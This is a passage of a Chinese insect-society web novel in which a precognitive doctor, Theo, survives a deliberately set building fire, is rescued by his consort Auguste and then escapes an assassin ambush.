他就是特别后悔,为了防止被追踪一直没有戴手环,现在根本联系不上外面的虫,包括奥古斯特。早知道在家留个对讲机也行啊! 西奥摸了摸金属的窗框,发现有些热,但还不至于到烫手的程度。这算是半个好消息,代表至少距离直接被烧死在这个房间里还有一些时间。 有不少浓烟正从窗户缝里钻进来。作为一个有基本常识的医生,西奥知道很多时候火灾死者并不是死于直接的火焰,而是大量充满了有毒气体以至于无法呼吸的空气。 纱布被切成条状、沾水浸湿,然后塞进了窗户和门的缝隙当中,阻止更多的烟进来。 现在他有两个选择,走还是不走?如果走的话,走窗还是走门? 托文森特哥哥的福,他对这个星球的消防系统也略知一二。他们有一辆三米高的消防车,两个消防员,这就是全部了。 “如果起火了怎么办?”西奥曾经问过这个问题。 “我们等火灭掉,或者等下雨。”消防员半开玩笑说。 “他开玩笑的。如果低层建筑的话,我们还是能救虫的。” 西奥回想了一下今天的天气,是个该死的大晴天。别说下雨,一点阴天的迹象都没有。至于高度,他的诊所在十五楼。十五楼,距离地面有将近五十米,消防员得长到四十七米高,才有可能到这里来救他。 所以,他必须走!没有虫会来救他的,留在这里,只会得到一个外焦里嫩的炙烤西奥。 西奥再次向窗外看去,透过浓烟的缝隙瞥到了遥远的地面,再次确信在这个高度,没有翅膀也没有飞板的他,要是敢走窗户,除了变成西奥肉酱之外,没有第二个可能。 那就只能走门了。 但是外面已经浓烟密布,视野非常差不说,毒气和高温,随便哪个都能要了他的命。除非他能提前预知,知道走哪条路,往哪边走是安全的,否则出了门,依旧是九死一生。 不管了!西奥一狠心,一咬牙,试一试总比坐以待毙要好!而且火势每分每秒都在蔓延,迟一秒,自己的生存概率就要下降几分。 西奥换了新的湿纱布捂住口鼻,又在外面加了一个医用口罩,做成了一个简陋的呼吸过滤装备,好腾出双手。又把被子打湿披在了身上,深吸一口气,压低身体,猛地一把拉开了门! “咳咳!”外面的烟比之前要更浓了,仿佛西奥内心的绝望那样浓重。他只能跪在地上,才能勉强看清一点地面。眼泪又开始止不住的往外流。 刚往前爬了两步,就听见一声惨叫突然从左侧快速接近,西奥扭头去看的时候,只能透过扭曲的烟雾勉强看到一点火球的影子。 什么玩意?!! 那团尖叫的火球迅速接近,西奥根本来不及躲闪。他只感到自己跪在地上的小腿传来一阵疼痛,紧接着,火球直接砸到了他的身上! “啊啊啊啊啊啊啊!!!!”西奥下意识尖叫,在湿透的被子下方扭动挣扎起来。火球很快被他甩了下来,紧接着他就看到了一张被烧成熟肉红色的脸。一点火舌还在他的颈部蔓延,西奥下意识就用被子帮他扑灭了! 一只手——一只斑驳的暴露着血肉的严重烧伤的手——突然紧紧攥住了他,“医生!医生救我啊!!!” 西奥应该推开他的。他现在自身都难保,更别提带着一个严重烧伤的病患。但他已经认出了这是谁。十楼的耶利斯,开了一家水果店,每次西奥去买东西的时候,耶利斯都会往他袋子里多装几个小金桔果。他收养了八个虫崽,还有一个哥哥,三个弟弟,日子过的紧巴巴,却仍旧每天打招呼,脸上带笑。 西奥认识他,了解他,已经产生了关联,就没办法再将他当作一个陌生虫对待了。他都不知道耶利斯怎么从口罩和被子底下认出他的,但是他叫自己医生,他还喊救命—— 西奥把还在燃烧的耶利斯拖回了诊所内,重重关上了门!然后一边咒骂自己。这份不合时宜的心软,早晚会害死自己的! 因为刚才的动作,房内也多了不少烟雾,但总归比外面的走廊好上不上。虫救都救了,总不能不管。西奥迅速把耶利斯身上其他的火苗扑灭,然后立刻意识到,这种面积的烧伤,已经完全超出了他能处理的范围。从专业的角度来看,这种大面积的严重烧伤,有非常高的概率死于之后的感染。除非他的等级高于S级,才有可能获得那种近乎逆天的愈合能力。 但耶利斯,显然没有。 西奥救了他的命,但可能只是暂时的。 “疼啊,疼……”耶利斯还在那里叫疼,在地上一边打滚一边呻吟。西奥赶紧从药柜里拿了点止痛剂,先给他用上。 过了好一会儿,耶利斯才终于止住了叫声。但他现在连站都站不利索,更别提继续往上逃命了。他又是个雌虫,身高体壮的,西奥就算想背都背不动。 “我上来的时候,火已经烧到了十一楼了。正往上跑的时候,十一楼走廊忽地来了一阵风,火苗一下子就窜我身上了,甩都甩不掉!”耶利斯哭诉道,“幸好遇到医生你,否则就要完蛋咯!” 西奥看了一眼耶利斯身上的衣服,都是最便宜的化纤材料,非常易燃,着火之后会黏在皮肤上,撕都撕不下来。但他现在也只能笑笑,“放心吧,有我在,肯定没事的。” 然后西奥又问,“是哪层起的火啊?是不是卖电器的店?” 耶利斯摇摇头,“我听三四楼逃上来的说,是有人在一楼堵了门,放的火!” “什么?”西奥有点懵,“是蓄意纵火?!” “谁知道怎么回事,可能是跟这栋楼里的虫有仇吧,咳咳……”耶利斯逃跑的途中也呛了不少烟,“还能跑得动的,基本都往上面的跑了。我在楼梯也看到不少昏倒的。” 难怪西奥都没听到外面有动静,估计是自己睡着的时候,大家都已经逃走了。 “那你怎么没有早走啊?”不管怎么说,能逃到没有被大火覆盖的地方,至少生还的希望能大点。 “害,我这不是舍不得自己店里的水果嘛!”耶利斯挣扎着爬起来,“我现在感觉好多了,咱们是不是应该继续往上跑?” “我是从左边楼梯上来的,那边火大,咱们从右边的楼梯走吧!”这倒是条有用的信息。 “行!咱们一起走,我在前面!”西奥刚握上门把手,下一秒就立刻弹开。 他看着手心里那道烫伤的红痕,知道自己已经失去了从楼梯逃生的最后机会。 被烫伤的右手用力攥紧到轻微颤抖,强烈的不甘和求生欲望在胸腔中不断累积,仿佛多到快要吐出来 !精神力汹涌澎湃,精神海变成了一排排的惊涛骇浪。 要死了吗?要在这里跟耶利斯一起被烧死了吗?为什么会有虫纵火啊?有没有可能是冲着自己或者奥古斯特来的?要是自己就死在这里的话,那奥古斯特会怎么样?他们之间还有标记存在呢! 要是死掉的话,他跟奥古斯特说的最后一句话,是什么来着? 西奥努力回想,然后终于从记忆的犄角旮旯里找到了一点线索。在离开房间之前,在那些对话之后,他对奥古斯特说:“我还是会锁住你。” 这算什么狗屁遗言啊?! 不,不,他不要死!不可以在这里,不能是这种方式,他不甘心,怎么可以,至少要试一试,也不能什么都不做,在这里面变成碳化雄虫! 试一试,想一想,看一看,拜托了,拜托了,让我看到一点,哪怕一丁点生的希望吧!!! 然后,西奥似乎隐约听到了,蛋壳破裂的微弱声响。 左眼的视野突然闪烁了一下! 西奥缓慢地眨了眨眼。 他看到自己深吸一口气,披着被子再次冲出滚烫的房门。火势发展得实在太快,门外已经变成了一片黑红的火海地狱,他按照耶利斯说的往右边的楼梯口飞快爬咚,然后在终于进入楼道后,看到了停在拐角处的几具尸体。 他没有停止,继续拼命向上! 最终停在了十七楼,死于过量的有毒烟雾。 作者有话说: 大家过年好!!感谢新春留言嘿嘿,很开心呢!!! 第76章 第76章生机[VIP] 西奥从自己的第一次死亡中抽离的时候, 还有些恍惚。 信息和时间都被极致的压缩,不过眨眼之间的事情,他已经预见了一次完整的未来。 但问题是, 这当中的感觉却并没有被压缩。他明明只是看见,却仿佛亲身经历了所有的一切一样。皮肤上还残留着火焰的温度, 喉咙里仿佛还能够感受到吸入那些浓烟之后的辛辣刺痛。 西奥晃了晃, 扶了一把面前的门才没有跌倒。 他同样很清楚, 现在还远不到停止的时候, 因为他看到的是一条死路, 他必须要为自己找到一条活路才行! 于是他尝试了第二次, 第三次……第十次, 第二十次。他尝试了转换线路,改变方向,屏住呼吸, 中途躲避。在这个过程当中,他找到了一瓶灭火器, 一把消防斧,还遇到了不同的同伴。他尝试救虫, 也曾经被救, 当然也曾被不同的虫在不同的情况下推入火海。在生死面前, 道德和善恶都被极致压缩,只剩本能的选择而已。 最远的时候,他到达了十九层。 但无一例外, 最终都倒下了。 不行,外面的烟实在太大, 并且随着时间的流逝,只会越来越大, 温度也越来越高。他只要进入走廊里,就是死路一条,根本逃不掉! 西奥咬咬牙,再次看向乌漆嘛黑的窗户。 第二十一次的时候,他推开窗户,趴在狭窄的窗台外沿上,然后一个不小心,滑了下去! 摔在地上的时候,西奥感觉自己仿佛成了一个破破烂烂的面口袋,里外反了那种。 不行啊,外面的墙实在是没有什么可以抓握踩踏的突起,就算有,他也不会攀岩啊! 摔了十几次之后,西奥已经身心俱疲。精神力还没用完,精神先崩溃了! 很好,现在他有两个选择,要么摔死,要么烧死。 这实在是太难以抉择了,因为这两个死法都非常的惨。 预知这个技能还不是很熟练,西奥用诊室的表计算了一下时间,大概只能预知五十秒左右。然后后知后觉,自己不管是走门还是走窗,好像都活不了这么久。 “法斯曼医生,我们不是要逃出去吗?怎么不走了?” 西奥认真纠结、权衡了一下。在早死早超生和坐以待毙但活得久之间,无奈选择了后者。 他现在大概明白为什么过去自己明明能够预知未来,但还是没能阻止很多事情发生了。比如弗雷德的死亡,以及自己的该死的要命的失忆。 他只是有的选,但很多时候选择的总数本就是有限的。他只能选择惨死,和不那么惨的死。 “火已经烧到这一层了,”西奥露出一个安慰的笑,“我们现在出去太危险了。” “哦,”耶利斯脸上那点希望的光瞬间熄灭了,他有些茫然地看着西奥,“所以我们留在这里,等消防员来救我们,是吗?” 耶利斯似乎对于这个星球的消防能力完全不了解,所以还能心怀希望。西奥稍微往后看了一下对方对于各种话的反应,最后坚定地说:“对,消防员一定会来救我们的!” 才怪。他们根本上不来。 “太好了!”耶利斯大大松了口气,他的脸上已经被严重烫伤,变成了一种奇怪的深红色,大大小小的水泡正在肉眼可见地鼓起来。要不是因为西奥给了他强效止痛药,恐怕张嘴都会撕心裂肺的疼。 “我家崽还等着我回去呢!”耶利斯笑着说,“可不能死在这儿。” 西奥脸上的笑险些崩塌。他的家里也有虫,还有一个刚出生的虫蛋崽等着他回去。 “店没了,钱没了,可心疼死我了!”耶利斯依旧还在担心自己很可能已经被烧光了的水果店,西奥根本不忍心告诉他,要不是因为心疼店,或许耶利斯还有机会活下来。 “算了,钱没了还可以再挣,虫还在就行!”耶利斯憨憨一笑,嘴角一个水泡被扯裂开了,血水混合着向下淌。 西奥赶紧用纱布帮他处理掉。 确实,只要虫还活着就行。如果他能活下来,能够从这次灭顶之灾中侥幸逃生,那他一定、绝对,再也不要跟奥古斯特吵架了。他一定会控制住自己的脾气,好好聊天,好好商量。他不要自己的最后一句话,是一时冲动留下的气话。 他们一起留在了这间小小的诊所里,一起用湿透的纱布呼吸粗糙过滤的空气。电力早已失效,很快水也停了。空气变得越来越热,也越来越干燥,烟雾更是越来越多。他们一开始还能坐在椅子上,后来只能坐在了地上。 他们在等待死亡。 耶利斯很快也意识到了这一点,但他依旧乞求般看向西奥,这个他心目中代表权威的医生,“法斯曼医生,为什么房间里变得这么热啊?” “这么热的话,消防员要怎么进来哦,他们也不是放火虫呀!”耶利斯仍然在笑。仿佛只要他还在笑,一切都仍然有解决的余地。 “耶利斯,你有手环吗?”西奥终于决定不再给他虚假的希望,“或许,你可以给你的虫崽们打个电话。” “跟他们说说话也好啊!” 耶利斯茫然的“啊?”了一声,但他听懂了。听懂了西奥的潜台词。 “我们出不去了,也没有虫来救我们了,对吗?”他问。 “对不起。”西奥说。 “啊。又不是您的错……”耶利斯愣了一会儿,然后赶紧低头看自己的手环,却发现这个东西已经在刚才穿越火焰的时候,被烧毁了。 他捏着坏掉的手环,几次尝试重启都没有成功,然后终于再也忍不住,仰头嚎啕大哭起来。 “我不想死啊,法斯曼医生,我不想死啊……呜呜呜……” 西奥又何尝想死呢。眼泪同样在他眼眶里打转,但他硬生生忍住了。 “其实我真正的名字,不是法斯曼。我叫西奥·兰斯顿,是个雄虫,我是……”西奥顿了一下,他突然回想起自己刚醒来的时候,自己听到的第一句话,“我是虫皇奥古斯特的雄主。” “哦,”耶利斯愣了一下,然后问,“那你,能救我们出去吗?” 不,他不能。 西奥选择了沉默。 耶利斯也反应过来了,西奥坦白身份,并不是出于信任,而是因为他已经确信,他们没办法活着离开了。 “一个雄虫当医生,还挺辛苦的哦……”他安慰了一句。 西奥笑了一下,“谢谢。其实还好。” “我开个小店就很累了,家里那几个小崽子更是吵吵闹闹,不让虫放心。”耶利斯从怀里掏出一张照片,递到西奥面前给他看。那是一张全家福,耶利斯跟他的几个兄弟,还有十几个年龄不一的小虫崽,围绕在他们周围。 “这是点点,是老大。这是旺旺,是老二……” 怎么说呢,耶利斯的起名水平,西奥实在不敢恭维。 但反正他现在也没有什么别的事情可以做,就认真听完了耶利斯的介绍。雌虫最后说,“他们没有我,也不知道会乱成什么样子。” “对不起,法斯曼……西奥医生,”耶利斯说,“我光说我自己了,你有什么照片吗?” “不,我没有那种东西。为了避免暴露身份,所有的照片啊资料啊什么的,都被我销毁了。我甚至没有什么东西可以证明自己的……”西奥突然顿住了,因为刚才他下意识摸了一下自己的口袋,然后摸到了一个本不该出现在这里的突起。 他把那东西掏出来,发现是那枚刻印着忍冬图案的项链挂坠。 西奥怔了一下,然后大笑着哭了出来。 他亲吻了一下那块圆形的金属,然后将它攥在手心,用力到浑身都在颤抖。 耶利斯吓了一跳,“医生,医生你……没事吧?” “这是我雌君送我的项链。很久之前被我扔掉了。我都不知道他还一直带着,也不知道是什么时候放我口袋里的。很可能是今天上午,因为昨天我还检查过自己的口袋。”西奥说得又急又快,甚至有点语无伦次,“总之,他之前做过一个承诺。” “如果我遇到危险,就用这个项链,他会感应到,他会来救我的!” 耶利斯听得一愣一愣的,“您的雌君,那不就是前任虫皇吗?他现在不是成逃犯了吗?” “对啊,但他还是来找我了。就我身边带着的那个雌奴就是。”西奥把项链戴回了脖子上。 耶利斯更懵了,但是能够得救依然是个天大的好消息。在他看来,一个无所不能的虫皇从发生火灾的大楼里头救他们两个虫,完全绰绰有余。“太好了!所以我们马上要得救了对吗?!” “那个,等虫皇陛下救我们出去,可以假装我什么都不知道吗?”在知道自己性命无忧之后,耶利斯开始思考自己的后路了。 “放心吧!”西奥已经知道今天是有虫刻意纵火了,也没打算继续留在这里。安全起见,他们可以一起去第一军团那边。“不会连累你的!” “不过,这边大楼起火也有一会儿了,陛下要是也在附近的话,不应该看不到这里的烟啊……”耶利斯挠头,“怎么现在还没来?” 西奥想起自己今天上午亲手给奥古斯特上的手铐,简直想穿越回去把自己揍一顿。雌虫该不会真的被困在了家里吧…… 但很多时候,命运之所以奇妙,就在于无论发生什么,结果总是殊途同归。 西奥看着那扇已经彻底变得漆黑发烫的窗户,拽了一下耶利斯,“往后退一下吧,小心被砸到。” “啥??”耶利斯听话得往旁边挪了一下,但还是一脸懵逼,他抬头看了一下,入目全是浓烟,什么都看不清,“被什么砸到?!” 话音未落,只听“哗啦——”一声巨响,一个身影裹挟着烟雾和火焰,重重砸入了诊所内! 那黑影还在大声叫喊:“西奥!!!” “咳咳……在这儿!!!”西奥赶紧回应,在视线不甚清楚的室内互相靠着声音摸索靠近。然后,很快摸到了一个结实有力小臂,“奥古斯特!” 他们彼此抓握靠近,然后在地板上紧紧地拥抱在了一起。 西奥顺着对方的手臂向下摸索,果不其然,只摸到了绷带,没有手。 他下达的命令是不能破坏手铐,所以奥古斯特想要离开家,就不得不砍断了自己的手腕。 “对不起,对不起,我不该……” “没关系,会长回来的。”奥古斯特说,“我现在带你离开这里。” “咳咳!”旁边的耶利斯赶紧出声,“这里还有一个虫!救命啊!” 最后,奥古斯特怀里抱着一个西奥,肩上扛着一个耶利斯,从闯进来的窗户飞出了这栋已经陷入火海的大楼。 等他们穿过浓烟,来到了视线明亮的地方,西奥看着楼栋里熊熊燃烧的大火,才感到一阵阵后怕。 如果奥古斯特没有及时赶到,他绝对要被烧死在里面了! 在降落的过程中,西奥发现奥古斯特飞得不太稳当,跟他以往的表现差了不止一个档次。顺着后方的翅膀看过去,才发现那曾经庞大漂亮的金色半透明翅膀,已经被火焰和高热的浓烟灼烧出了好几个大洞。 很显然,这次营救对于奥古斯特来说,也是相当的凶险。 等他们平稳落地之后,西奥心疼地摸着奥古斯特的翅膀,“你有没有想过,要是翅膀都没烧没了,该怎么办?” 奥古斯特想了想,认真回答道:“我还有精神力,虽然麻烦点,但是也能从外墙爬上去。” 西奥已经不想再说什么了,捧住雌虫沾满灰尘的脸,用力亲了一口。 “那个……我先去找其他医生了。谢谢你们,救了我的命!”旁边的耶利斯在获救之后,烧伤和烫伤的疼痛又开始变得明显。这里的大火已经引起了周围虫的围观,旁边也已经有几辆救护车在待命。他见这边的情况自己已经帮不上忙,就打个招呼,一瘸一拐去救护车了。 西奥跟耶利斯挥挥手,目光再次转向燃烧中的大楼。从外面看,大楼已经整个被下方升腾的浓烟包裹,十一十二楼能看到清楚的火焰。但是西奥知道,里面的火焰要更快一些。按理说不应该这么快,他甚至怀疑这里面是不是被放了助燃剂。 “楼栋里还有活虫。”西奥说着,跟奥古斯特对视了一眼,“我知道里面还有活虫,我看到他们了。” “我还知道,应该怎么安全找到他们。”他没有明说,但奥古斯特肯定明白他说的是什么。 奥古斯特点了点头,转身离开,又很快回来,往西奥手里塞了一个对讲机,“给我指路。” 雌虫转身,准备再次飞向那栋燃烧的大楼救虫的时候,西奥一把拽住了他,“这次大火不是意外,有虫堵住了门,蓄意纵火。” “千万注意安全!” 奥古斯特点头,然后再次腾空起飞。 周围已经有不少虫围观,但消防员也没有翅膀,飞不上去。而有翅膀的虫也因为火势太大而不敢擅自靠近,于是奥古斯特几乎成了唯一一个还敢真正救虫的。 在西奥预知技能的配合下,一个又一个受伤的虫被从燃烧的楼栋中救出。这边的情况很快引起了大家的注意,甚至有些虫举起自己的手环,开始拍照。 西奥注意到了几个,阻挡了镜头,但是毕竟救虫要紧,也不可能都拦得住。 最终,在楼顶也被火焰彻底吞噬之前,西奥和奥古斯特成功救出了三十四个虫。 看起来已经不少,但这是附近的商业中心,在平日里至少有几百个、甚至上千个虫在里面工作或者购物。一楼的大门正如耶利斯说的那样,被锁住了无法离开。也就是说,至少有几百个生命葬送在了这场大火里。不少亲友正在外围,焦急地等待着消息。 “如果我早点来,或许能救出更多虫。”奥古斯特相当自责。 西奥看一眼已经浑身都是烟灰,手和脖子上还是有不少烫伤的雌虫,“你已经尽全力了。” “别说是你,我就在楼里也是等到大火烧起来才知道……”西奥回想今天的这场莫名火灾,“你觉得这会不会是针对我们的?” “如果是的话,那我们现在回家还安全吗?” 奥古斯特看他一眼,“虫蛋还在家里。” 这代表,不管安全与否,他们都必须要回去。 两个虫在救护车那里简单处理了一下,便趁着夜色悄悄回家。 房子周围倒是很安静,奥古斯特检查了一下,没有发现什么可疑的痕迹。 但房门是开着的,因为奥古斯特离开得太过匆忙,根本没来得及锁门。 西奥眨了一下眼睛,然后说:“进去吧。” 奥古斯特推门迈入,然后在下一瞬,伴随着微弱的扑哧一声,一枚子弹贯穿了他的头颅! 作者有话说: 第77章 第77章追杀[VIP] 有埋伏! 所以那场堪称惨烈的火灾, 确实是针对他们的,但仅仅只是一个开始。有虫想要确保他们死在这颗星球上! “先离开吧。”西奥改变策略,重新说。 这次奥古斯特有些不赞同, 但出于信任,他还是听从了西奥的建议。 他们离开了房门口, 缓慢地向后退去。 还没退多远, 只听啪!的一声爆裂声响, 一枚子弹从房内破开玻璃窗射了出来, 直冲奥古斯特胸口而去! 但这次因为距离有些远, 又或者奥古斯特早已提前有了防备。总之, 他用精神力成功挡弹开了那颗子弹。 精神力丝线跟机械子弹对撞, 发出叮的一声响! 奥古斯特一把将西奥护在身后,精神力丝线在面前舞得密不透风,拦住了室内杀手堪称密集的火力攻击。 但同时, 他们再次陷入了焦灼僵持当中。 奥古斯特因为顾虑西奥的安全以及房内虫蛋的情况,而且很难看清楚埋伏在室内的杀手的具体位置, 不敢贸然出击。而对方显然也并不想,或者说不敢露面。 “有虫要杀了我们!”在激烈的交战中, 西奥大喊。 “说点我不知道的!”奥古斯特也喊。 “能不能先退出他的射程再说!”西奥提议。按理说对方在室内, 视野应该不会很好。只要他们暂且后退, 至少能先停止交战,休息一下再做打算。 奥古斯特看了一下周围,指了一个向后拐的死角, 那个位置从窗户内是绝对看不到的。“你先过去,我很快跟上!” 在奥古斯特集中精力应对房□□出的子弹的时候, 西奥赶紧向后方撤去。他刚退回盲区站好脚跟,另一枚从斜上方射过来的子弹瞬间让他胸口一阵剧痛! 卧槽!还有狙击手! “雄主!!!”躺在地上又疼又惊的时候, 西奥只听到奥古斯特一声撕心裂肺的喊叫,便再次耗尽了预知的时间。 西奥再次回归现实。现在他知道了,房内有杀手正虎视眈眈,埋伏突击。远处还有狙击手正紧盯着这边的情况,随时准备放冷枪。 真是进也不得、退也不得! 他必须在有限的时间内想一个两全其美的办法,确保不管是自己还是奥古斯特都不会受伤。 于是在第三次使用预知的时候,西奥自己走进的那扇门。 不出意料,刚一进去,他就被里面的杀手给击毙了。 但好在他已经知道了子弹来的方向和位置。下一次进门的时候,他提前弯下了腰,成功躲过了第一颗子弹。 现在西奥好像有点明白预知的真正含义了。那根本不是精准的预测未来,而是在一次又一次的尝试中努力找到唯一的最优解。 死了十几次之后,西奥终于找到了一个能够安全躲过杀手所有袭击,并且用精神力触手夺走对方枪支的办法。 这把稳了! 现在情况瞬息万变,西奥不想浪费时间,于是也没来得及跟奥古斯特商量,就径直踹门进去了! “西奥!”这动作,快到奥古斯特都没来得及阻止。里面立刻传出劈里啪啦一阵枪响打斗声,等他进去的时候,西奥已经稳稳握着抢过来的枪,对准了藏在房内的杀手,“别动!” 动作非常迅速流利,连奥古斯特这个顶级军雌都自叹不如。但西奥可以利用预知的能力提前做出应对和判断,可以完美躲避甚至压制。但他仍旧犯了一个错误,一个致命的错误。 像这种隐藏痕迹到连他都能骗过去的的顶尖杀手,一定经过了堪称残忍的训练和筛选,就像之前的莫德神兵那样。他们活着、甚至哪怕死去,都只有一个目的,那就是为了完成任务,不择手段。 所以当西奥举枪对准的那一瞬,不应该威胁对方别动,而是应该直接扣动扳机! 失忆前的西奥已经有了这样的觉悟,但是对于失忆后的他来说,大概还是太难了。 果不其然,表面上举手投降的蒙面杀手,背地里已经悄悄伸出了自己的精神力利刃,贴着地面缓慢靠近西奥。 奥古斯特想都没想,立刻上前一步,拦住了对方的精神力,但就在他准备直接杀了对方的时候,一种本能的直觉让他扭了一下头,于是视线的余光看到了自己的虫蛋,以及同样正在迅速靠近的精神力! 糟糕!对于虫蛋的本能保护让奥古斯特犹豫了瞬间。但有时候,在这种近距离的高手对决中,一瞬间的犹豫就已经足够了。 西奥被兜头喷了一脸血! 面对近在咫尺的鲜血淋漓的杀戮,西奥一时没有反应过来。他握枪的手开始不受控制的颤抖起来,一时也忘记了预知,只是单纯的怔在了原地。 但奥古斯特可没有。军雌熟练地将失去了脑袋还在不停抽搐流血的杀手翻过来补了几刀,确保对方再也没有活下来的可能。 然后才转过身来看向西奥,“你还好吗?” “操!”西奥的视线向下看去。刚才溅到他身上的血,可不只有杀手的。他丢掉枪,然后跪下来检查奥古斯特被贯穿的腹部,“你怎么样?!” “没事。”奥古斯特握住贯穿自己腹部的至少有十公分宽的精神力长剑,在西奥慌乱的“别别别!”声当中,缓慢将它抽了出来。 一同涌出来的,还有大量鲜血! “该死该死该死!”西奥咒骂着慌忙用手掌按压住伤口,“为什么不等会再抽出来!” “杀手已经死了,精神力很快会消散的。” “那你倒是等它消散再说啊!”西奥根本不敢把手掌挪开,有时候他都怀疑奥古斯特是不是不知道什么是疼,“不行,你得躺下让我检查一下。” “精神力不一定会完全消散,如果有碎片留在里面会更麻烦。”正在迅速失血的雌虫自己用手摁在了伤口上,压在西奥的手掌之上,“我没事,你去看一眼虫蛋。就在桌子上的小筐里。” 西奥抬头看了一眼,奥古斯特看起来状态确实还行,没有失血过多的苍白和虚弱。大概是高等级精神力的自愈能力起了作用。 他松开摁在腹部的手,换雌虫自己摁住。并没有多少鲜血在交替的时候涌出来,这是个好迹象。 西奥终于稍稍放下心来,赶紧去检查刚出生没多久的虫蛋。一边说,“我们必须赶紧离开,外面还有一个要命的狙击手!” 虫蛋被放在垫了一层软布的竹篮中,淡青色的壳,很是圆润漂亮。万幸的是,刚才那一连串枪击打斗,丝毫没有伤到它。 “只有一个吗?”奥古斯特问。 西奥用毛巾把虫蛋小心包裹起来,然后放进一个布兜里,背在了胸前。“什么叫只有一个?” “这种刺杀行动,一般都是以小组为单位的。三到五个虫,一个埋伏,一个狙击,还有几个负责机动。”奥古斯特蹲下,把西奥刚才丢下的小型重机枪捡起。“莫德神兵之前负责过相关培训,所以我很清楚。” “所以,至少还有一个?”西奥拍了拍胸口的蛋,确保它不会掉出去,然后又看向旁边单手持枪的雌虫。他的另一只手在之前挣脱手铐的时候已经没了。所以为了拿到枪,就只能松开了腹部的按压。血液变得缓慢了,但并没有停止。 奥古斯特今天穿的是藏青色的衣服,然后在大量血液的浸染下,腹部和大腿的布料已经变成了一种湿乎乎的黑色。 西奥皱着眉说,“你这样不行,还是要简单处理一下。” 这次奥古斯特没有拒绝。 还好家里针线和纱布都有。西奥尽可能快的帮奥古斯特做了简单的缝合和包扎。“待会儿我先探路,搞清楚其他杀手的位置,然后你来制定路线,带我们离开。” “好。”奥古斯特说。 西奥有点惊讶地看向雌虫,“你愿意听我指挥?” “你是我的雄主,而且一直都是对的,为什么不听?我经历过的大小战役,其中至少有三十七场背后都是你的指挥。”奥古斯特想了想,补充道,“感染……疑似感染的情况下,不算。” 提起这段过往,奥古斯特似乎有些不自在。“关于那段经历,我……” 西奥只是摇摇头,打断他,“我们现在没有时间讨论这个。” 他问:“你觉得他们是怎么找到我们的?” “那场火灾……我们太显眼了。被定位到也不奇怪。” “我是说有这么多星球,他们怎么知道我们在坎斯特星上的?” “等我们离开这里,自然会查清楚的。” 西奥站在原地,像是愣神了那么一两秒,然后很快说道:“除了那个狙击手外,一共还有三个杀手。” “一个在左边,一个在右边,还有一个沿着右前方的连廊走一段会碰到。”西奥租的这个房子在五楼,每个小房子密密麻麻的挨在一起,楼栋之间还有连廊。出门无非就这三个方向,现在这三个方向全被堵死了。 奥古斯特听了,倒是没有太大的反应,只是重新检查了一边手里枪械的子弹,“哪边更简单些?” 他把这件事情说得似乎非常简单,只是为了稳妥和安全想知道一个更加容易的道路。但西奥知道不是那样,想要欺骗一个能够看到未来的虫,还是非常困难的。 所以西奥摇了摇头,“我们哪个都不选。我们逃。” 然后他认真地看着奥古斯特,问:“你是什么时候发现自己的精神力用不了了的?” 奥古斯特想了想,“刚刚。” 作者有话说: 第78章 第78章逃命[VIP] “你先走, 我断后。” 奥古斯特一边说着,一边从房间里面翻找出炸药和那把能够自动追踪的手枪的时候,西奥已经不像第一次看到的时候那么震惊了。 尽管他仍然对于在家里藏炸药这种危险行为极其不赞同。 炸药是用来做陷阱的, 枪则被扔给了西奥。但西奥很清楚,雌虫嘴里说着要断后, 实际上就是不走了的意思。 就像以往的很多次一样, 奥古斯特综合现状, 权衡利弊, 做出了他认为最正确的选择。 但最重要的一点, 精神力的突然消失是一个非常危险的信号。准确来说, 是布氏感染的信号。但…… “我们一起走。”西奥说, 在奥古斯特反驳之前加了一句,“这是命令!” 奥古斯特手上没停,但没有回答。 “我一个虫, 逃不出去的。我需要你。”西奥说着,把枪别在腰间, 然后抓紧时间拆角落里的下水管道旁边的地板,“我有预知, 我知道你没有感染。” “失去精神力并不是唯一的判断标准, 我自己就是个活生生的例子。” “我还有枪。如有必要, 我能自己动手。” 那边奥古斯特已经准备好了一个简单的陷阱,“你应该杀了我。” “我说了,我一个虫逃不出去!你到底听清楚没有!”西奥咬牙切齿, 他的话术都是一遍遍预知试出来的。但即便如此,依旧阻止不了他逐渐升高和失控的语气。 过去他们之间的种种误会和矛盾, 很多都建立在奥古斯特怀疑他感染的基础上。西奥也曾经觉得雌虫对自己很残忍。但后来发现他只是一视同仁。对虫崽,对他, 对萨迦,更是对自己。 尤其是对他自己。 在清晰地意识到这件事情之后,西奥心中的怨气反而减了不少。奥古斯特从来没有针对谁,只是用同样的原则处理类似的感染事件。 雌虫停了一下,然后说:“清楚了。” 西奥为他们找的逃跑路线,是走下水道。准确来说是下水道旁边的空隙。因为糟糕的施工质量,留空太大,而管道太小,导致周围的空隙很大。拆掉地板后,西奥完全能轻松钻过去,就连奥古斯特也能勉强钻过去。 他们就用这个方法一路从五楼下到了二楼。途中不小心惊扰了一位住户,在对方尖叫之前,奥古斯特迅速给了一记干脆利落的肘击。那位可怜的住户就这么悄无声息倒了下去。 即便是没有精神力,奥古斯特的战斗本能还在,反应也比西奥要快。 刚在二楼站稳,楼上就传来了爆炸声。轰——!!! 整栋楼都被震得晃了两下,落了他们一身灰尘。 西奥再次停下片刻,用于窥探未来,然后说:“爆炸干掉了两个,还剩一个。” 他们对视一眼,果断停下拆地板的动作,然后一起直接从二楼跳了下去! 既然已经暴露了,躲藏就没必要,赶紧逃跑才是第一要务! 至于他们的目的地…… “我们必须去航天站台,”奥古斯特说,“那是离开这颗星球的唯一途径。” “这一点那些杀手们也很清楚,”西奥问,“他们不会在那里埋伏吗?” “可能会。”奥古斯特说,“但我们必须去,因为那里也是唯一能够顺利向外发送信息的地方。只有去那里,才能让小弗知道这里的情况。” “然后他就会派军队来帮我们?” 奥古斯特沉默了一下,“理智上来说,我认为他不应该来……” “别tm管什么理智不理智了!你就直接说想不想让他来,以及你觉得他会不会来吧!”西奥打断他。 奥古斯特噎了一下,然后只能说:“想。以及,会。”他依旧没办法对西奥说谎。 “很好,那我们就去找小弗求援!” 以上这些对话,全部发生在预知的未来当中。在真实的现在的时间里,西奥只来得及在奔跑中说了一句:“我们去航天站台!” 而奥古斯特说:“好。” 这里的住宅区密度很大,楼栋之间只有很窄的小巷,一栋栋高矮不同的小楼立在这里,造就了错综复杂、迷宫一样的路线。一楼还有很多违章搭的小棚子,正好可以用来遮挡来自远处的狙击手的视线。 他们绕来绕去、一路狂奔,免不了撞飞了其他住户放在这里的箱子、衣架之类的杂物。西奥一边跑一边不停道歉,直到被身后一发子弹射中了手肘,疼得叫了一声!速度也立刻慢了下来。 